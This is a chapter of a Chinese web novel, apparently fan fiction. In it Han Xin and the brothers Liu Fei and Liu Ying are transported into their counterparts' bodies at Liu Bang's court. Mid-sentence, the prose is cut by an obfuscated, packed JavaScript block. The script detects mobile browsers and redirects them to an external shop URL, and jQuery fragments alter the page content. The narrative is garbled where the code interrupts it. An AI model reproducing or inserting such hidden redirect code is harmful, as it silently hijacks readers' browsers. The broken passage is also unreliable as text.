第225章假如盈崽穿刘盈(二)
【友悌三人组全员集合。】
韩信跪坐在榻上,翻看面前新编写的兵法,身体时不时左右摇晃一下。
他派去打探宫中情况的门客抹着眼泪痛骂皇帝,情报没探得几个,全在那输出情绪。
耳边也有一个游魂嗡嗡嗡,对门客的哭诉深信不疑,脑子疑似出走。
韩信轻拍了一下太阳穴,手动关闭交流。
烦。
莫名落到如此境地,韩信深信一定是盈儿那里出了什么问题。
他们家就盈儿会经常做梦上别人的身,自己一定是被盈儿连累。
虽然没证据,韩信相信自己的直觉。
他让门客打听一下太子的情况,门客一点用都没有,回来张口就是“主父你被侮辱了啊”。
侮辱你个屁,你人都没见到,诓乃公?
韩信一向厌恶愚蠢的人,如果这个人是另一个自己,他就更加苛刻。
从韩信从不与韩王孙信交往,就可以看出这一点。
你也配叫韩信?!
对这里的韩信的军事才能,韩信勉强认可。
除了军事才能之外的一切,韩信都不认可。
这里的皇帝皇后不是自己的义父义母,太子刘盈也不是自己的弟弟盈儿,所以这里的韩信觉得他能行,想谋反当皇帝,有这个傲气,没有问题。
可你不能只能嘴上想啊!
韩信真不明白。谋反是儿戏吗?这里的韩信一边嚷嚷谋反,一边不做谋反准备,被皇帝抓了还哀怨我只是嚷嚷你怎么当真。
他对义父都不敢这么做,会挨揍。这里的韩信还不是皇帝的义子,怎么期望皇帝像老父亲对待儿子一样包容他?
可能是这里的皇帝的威望远不如义父,臣子都不惧怕他的缘故?
韩信思索许久,把“义父有威望”划去。
不是义父有威望,能震慑群臣,而是盈儿很厉害,能在义父心软的时候及时出手,才没让君臣之仪乱套。
唉。盈儿究竟在不在这里?
韩信把另一个韩信编写好的兵法草稿整理好,决定亲自入宫。
皇帝赦免淮阴侯之后,淮阴侯只要不出京城,行动很自由。他可以像任意一个勋贵彻侯一样,拿着自己的令牌随时入宫觐见。
只是淮阴侯怨恨皇帝,除非皇帝来请他入宫,否则他从来不主动入朝。
不过韩信上了
这个淮阴侯的身后,发现这人内心居然希望继续被皇帝重用。
其实淮阴侯这个的彻侯爵位,这里的韩信能捏着接受,但皇帝得给他服个软,然后让他当丞相或者太尉,他就能原谅皇帝。
至于相国,全天下都知道这个劳碌位置是萧何的。
韩信无语半晌。
虽然丞相、太尉之类的位置自己可以随便挑,就算义父不愿意,盈儿也能随便封,但好歹是朝堂三公,你这个“罪臣是不是应该先主动给皇帝一个台阶下?
韩信再次疑惑,究竟自己和这个韩信,哪个才是皇帝的义子了。
他都不敢这么做!
疲惫。
那厮还在脑海里骂自己谄媚皇帝,没有自尊。
因要照顾两个不省心的弟弟,还要帮最不省心的弟弟写神仙布置的可怕作业,韩信心胸比这里的韩信宽广,脾气比这里的韩信光滑,城府涵养都要比这里的韩信深得多,早早就能做到能屈能伸,喜怒不形于色。
顶着门客不敢置信仿佛他这样做门客就会受辱的神情,以及刚屏蔽不久又开始闹的游魂的暴怒指责,韩信递令牌入宫。
入宫门下车后,韩信有点不习惯。
若在义父的皇宫,他可以在宫里骑马坐车,好久没在入宫觐见时走这么远的路。
不过因为需要满宫抓偷懒的盈儿,韩信在宫里的步数肯定比不能在宫里骑马坐车的普通勋贵多。
他甚至和刘肥把宫里每个屋顶都爬了个遍。
想起不省心的顽皮弟弟,韩信的心又沧桑了几分。
另一个韩信读取到了韩信的疲惫,竟不知不觉停止了辱骂。
他板着脸抿着嘴,不知道在沉思什么。
韩信入宫时,刘邦正在用膳。
早膳时间已过,午膳时间还未到,皇帝怎么就用膳了?
韩信眼眸闪了闪,在得到允许后走进殿门。
上首处是面容远比义父义母沧桑的皇帝皇后,还有大快朵颐的瘦小的太子刘盈。
在韩信走入殿门时,刘邦和吕雉就端正了坐姿,露出了威严严肃的神色。
而太子刘盈,这位仁弱知礼的太子,继续捧着羊腿啃得满脸流油,好像没发现有人进来似的。
刘邦神色没端住,抢了刘盈的羊腿:“还吃!擦嘴!淮阴侯来了!
刘盈满脸不解:“淮阴侯来了,和我啃羊腿有什么关系?
跪地叩拜的韩信差点没忍住笑出声,慌乱
的心瞬间安稳。
他果然没料错。
刘邦看见韩信脸上的笑容,立刻羞恼无比,伸手就要给刘盈一下。
刘盈才不惯着这个莫名其妙的阿父,不仅躲开了刘邦的袭击,还朝着刘邦扑去,把脸上手上的油往刘邦身上抹。
吕雉大惊失色:“盈儿,不许无礼!
刘盈从呆住的刘邦怀里跳下来:“是他先动的手!阿母,给我擦手。阿父的衣服真没用,连擦手擦脸都不好使。
刘邦:“???
吕雉护住刘盈。
虽然这个刘盈不是她的儿子,但是她儿子的身体,可不能被刘邦揍坏了。
看着仰着脸等擦脸的儿子,吕雉神色莫名。
她沉默着拿着帕子,为刘盈擦脸。
刘邦本想狠揍刘盈一顿,见到这一幕,他不自觉地移开视线,没有动手。
“起来吧,让你看笑话了。刘邦客客气气道。
韩信脑海里传来一声不屑的冷哼声。
他很想翻白眼。就像是盈儿经常说老在义父面前上蹿下跳的雍齿那句话一样,这算恃宠而骄?
韩信沉默站起身,没有说话。
刘盈的脸和手都已经擦干净。在刘邦招手让他过去时,他理都不理,三步并作两步,蹦到了韩信身边。
刘盈的脑袋左偏右偏,然后张开手臂扑了过去,一蹦三尺高,挂在了韩信的脖子上。
“阿兄!!
“别,重……一点都不重?!韩信托住刘盈,惊讶道,“怎么如此轻?
刘盈抱着韩信的脖子哼哼唧唧:“这里的阿父阿母不慈,不给我吃饱!
韩信不由向上首处呆若木鸡的皇帝皇后投去谴责的眼神。
刘邦结结巴巴道:“怎么回事?什么阿兄?
刘盈回头:“阿兄就是阿兄。我一眼就认出是阿兄。
刘邦骂道:“朕不是问这个!
韩信拍了拍顽皮的弟弟的后脑勺:“陛下的意思是,我究竟是谁。
刘盈继续哼哼唧唧:“那他问清楚啊。问得不明不白,谁知道他想问什么?
韩信虽然认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15302624|130191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可弟弟的话,但人在别人的屋檐下,还是要谨慎些。
他抱着刘盈向皇帝道歉,然后阐明了自己的身份。
我,大汉皇帝的义子,刘肥和刘盈的兄长,大汉的淮阴侯,兼任丞相或者太尉。
为什么是“或者?因为盈儿让他选,他还没想好。
至于没想让
他立刻当丞相或者太尉的义父的意见,就被韩信忽视了。
义母也是支持他的。
刘邦从震惊中回过神,并选择性地忽视了韩信后一段大逆不道的话。
什么叫作盈儿让他选?什么叫作义父的意见不重要?
那边的刘邦,怎么不像个实权开国皇帝?
算了,别想了,越想越迷糊。
刘邦都接受太子被人上身了,那么多一个淮阴侯也无所谓。
何况这个淮阴侯看着要对他尊重许多,挺好的。
刘邦给韩信赐座,屏退他人,想与韩信深入交流。
韩信却自来熟地拿起膳具,给刘盈切肉喂肉。
没听弟弟在喊饿吗?又不是项羽诈尸打进宫了,再大的事,也要等盈儿吃饱再说。
韩信一边喂阿兄来了,就要当个废物的刘盈吃肉,一边道:“我和肥儿、盈儿一同午睡的时候来到了这里,恐怕肥儿也来了。
兄弟三人都来了两人了,另一个人怎么会落下?
恰好,刘肥虽已经被封齐王,此时正好在洛阳。
刘邦正想寻人把刘肥叫来,就听宫人禀报,刘肥入宫了。
好了,不用想了,自家长子肯定也被人上身了。
刘邦十分宠爱刘肥,刘肥不需要宫人通报就能直接觐见。
不过这次刘肥等宫人通报后,才进入宫殿。
这也证明,刘肥果然也不是原来的刘肥了。
进宫后,刘肥先恭恭敬敬给父亲和嫡母行礼,待他抬起头,看见韩信正在喂刘盈吃肉,眼泪一下子滚了出来。
韩信放下刀子:“别哭了,快把你的情况和陛下说一说,别让陛下和皇后担忧。
刘肥一边哭,一边阐明了自己的情况。
另一个刘肥就在一旁飘着,一点事都没有,只是有点担心。
刘盈抹了抹嘴:“一旬后我们就能回去,刘肥放心。
刘肥哭着点头:“那我就安心了。
刘邦训斥:“你怎么直呼兄长之名?!
刘盈昂首:“那又怎么了?我还直呼你的姓名呢。
刘邦:“……
那又怎么了……那又怎么了……那又怎么……
刘盈的声音不断在刘邦脑海里回响,差点没把刘邦震傻。
吕雉脸上的苦相都挂不住了。
她问道:“盈儿,你对你阿父阿母竟如此无礼?
刘盈道:“阿母放心,我对阿母从来不直呼其名。
韩信做证:“盈儿对义母还是很孝……还是比对义父更孝顺的。
刘肥辩解:“盈儿对阿父阿母从来不无礼!盈儿孝悌仁义,举世闻名,天下无人不知!
刘邦和吕雉这对离心离德的夫妻,此刻难得心念统一了。
这个刘肥,竟比他们的肥儿更瞎!
他们的刘肥只是能对刘盈那一手如狗爬般的字闭眼夸,好歹心里是知道真相的。
这个刘肥,说的话居然是发自内心的?!
帝后二人对视一眼。
另一个自己,似乎在儿子教育上也很头疼?
作者有话说:
下一章周六(2月22日)更新。